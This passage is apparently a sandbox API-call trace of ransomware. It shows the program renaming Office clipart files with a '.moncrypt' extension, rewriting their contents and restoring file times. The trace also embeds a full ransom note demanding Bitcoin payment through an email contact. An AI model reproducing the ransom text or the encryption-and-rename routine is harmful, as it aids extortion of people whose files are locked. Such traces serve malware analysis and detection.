(hMem=0x440004) returned 0 [0060.571] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.571] GlobalUnlock (hMem=0x44000c) returned 0 [0060.571] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.571] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.571] GlobalUnlock (hMem=0x44000c) returned 0 [0060.571] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.571] WriteFile (in: hFile=0x188, lpBuffer=0x1dc5e68*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc5e68*, lpNumberOfBytesWritten=0x18ea30*=0x1e90, lpOverlapped=0x0) returned 1 [0060.571] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.571] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.583] WriteFile (in: hFile=0x188, lpBuffer=0x1dc5e88*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc5e88*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.583] CloseHandle (hObject=0x188) returned 1 [0060.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.584] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.584] CloseHandle (hObject=0x188) returned 1 [0060.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.585] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.585] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.585] GlobalUnlock (hMem=0x44000c) returned 0 [0060.585] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.585] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.585] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.585] GlobalUnlock (hMem=0x44000c) returned 0 [0060.585] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.585] GlobalUnlock (hMem=0x440004) returned 0 [0060.585] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.586] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.586] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.586] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.586] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.586] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.586] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.586] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.586] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.586] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.586] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.586] CloseHandle (hObject=0x188) returned 1 [0060.587] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0060.587] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.587] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.587] GlobalLock (hMem=0x440004) returned 0x550170 [0060.587] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.587] GlobalUnlock (hMem=0x440004) returned 0 [0060.587] GlobalLock (hMem=0x440004) returned 0x550170 [0060.587] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.587] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.587] GlobalUnlock (hMem=0x440004) returned 0 [0060.587] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.587] GlobalUnlock (hMem=0x44000c) returned 0 [0060.587] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.587] CharLowerBuffW (in: lpsz="AN04267_.WMF", cchLength=0xc | out: lpsz="an04267_.wmf") returned 0xc [0060.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.588] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04267_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.588] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.588] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.588] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", dwFileAttributes=0x20) returned 1 [0060.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.moncrypt")) returned 1 [0060.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.590] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.590] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1e7c [0060.590] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.590] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1e7c, lpOverlapped=0x0) returned 1 [0060.596] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.596] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.596] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.597] GlobalUnlock (hMem=0x44000c) returned 0 [0060.597] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.597] GlobalUnlock (hMem=0x440004) returned 0 [0060.597] GlobalLock (hMem=0x440004) returned 0x550170 [0060.597] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.597] GlobalUnlock (hMem=0x440004) returned 0 [0060.597] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.597] WriteFile (in: hFile=0x188, lpBuffer=0x1dc5e68*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc5e68*, lpNumberOfBytesWritten=0x18ea30*=0x1e90, lpOverlapped=0x0) returned 1 [0060.597] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.597] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.614] WriteFile (in: hFile=0x188, lpBuffer=0x1dc5e88*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc5e88*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.614] CloseHandle (hObject=0x188) returned 1 [0060.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.615] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.615] CloseHandle (hObject=0x188) returned 1 [0060.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.616] GlobalLock (hMem=0x440004) returned 0x550170 [0060.616] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.616] GlobalUnlock (hMem=0x440004) returned 0 [0060.616] GlobalLock (hMem=0x440004) returned 0x550170 [0060.616] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.616] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.616] GlobalUnlock (hMem=0x440004) returned 0 [0060.616] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.616] GlobalUnlock (hMem=0x44000c) returned 0 [0060.616] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.616] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.617] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.617] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.617] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.617] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.617] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.617] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.617] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.617] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.617] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.617] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.617] CloseHandle (hObject=0x188) returned 1 [0060.618] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0060.630] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.630] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.630] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.630] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.630] GlobalUnlock (hMem=0x44000c) returned 0 [0060.631] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.631] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.631] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.631] GlobalUnlock (hMem=0x44000c) returned 0 [0060.631] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.631] GlobalUnlock (hMem=0x440004) returned 0 [0060.631] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.631] CharLowerBuffW (in: lpsz="AN04269_.WMF", cchLength=0xc | out: lpsz="an04269_.wmf") returned 0xc [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 